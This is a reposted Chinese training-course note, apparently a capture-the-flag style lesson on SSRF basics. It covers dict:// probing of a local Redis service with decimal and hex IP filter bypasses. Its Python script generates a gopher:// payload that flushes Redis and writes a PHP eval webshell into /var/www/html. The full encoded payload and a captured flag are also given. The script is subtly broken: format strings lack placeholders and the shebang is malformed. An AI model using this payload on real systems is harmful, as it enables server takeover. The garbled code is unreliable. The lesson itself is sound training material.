零号培训平台课程-2SSRF基础
Posted 大灬白
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了零号培训平台课程-2SSRF基础相关的知识,希望对你有一定的参考价值。
漏洞原理:
协议利用
• File协议
• 本地文件传输协议
• 任意文件读取
• Dict协议
• 字典服务器协议
• 操作Redis
• Gopher协议
• 分布型的文件搜集获取网络协议。
• 支持多行
• 操作Redis、Memcached、fastcgi、mysql等
输入:
Dict://127.0.0.1:6379/info
本地IP地址被过滤:
绕过的方法有多种,1、把IP地址转换成10进制、16进制
输入:
dict://2130706433:6379/info
dict://0x7F000001:6379/info
Python代码生成gopher协议报文写入webshell
#/usr/bin/python
import urllib
protocol="gopher://"
# redis所在服务器的IP,10进制IP:127.0.0.1
ip="2130706433"
port="6379"
# php代码,POST方式提交、GET方式提交
shell="\\n\\n<?php eval($_POST[\\"cmd\\"]);?>\\n\\n"
filename="shell.php"
# web服务所在目录
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 ".format(shell.replace(" ","$IFS")),
"config set dir ".format(path),
"config set dbfilename ".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH ".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\\r\\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("$IFS"," "))))+CRLF+x.replace("$IFS"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
通过gopher协议向本地127.0.0.1的web目录/var/www/html下写入一句话木马webshell:
gopher://2130706433:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
连接目标webshell
找到写入的shell.php和flag
Flag:ea56f7b7ac613b8ca0e6ebb54b66eb91
以上是关于零号培训平台课程-2SSRF基础的主要内容,如果未能解决你的问题,请参考以下文章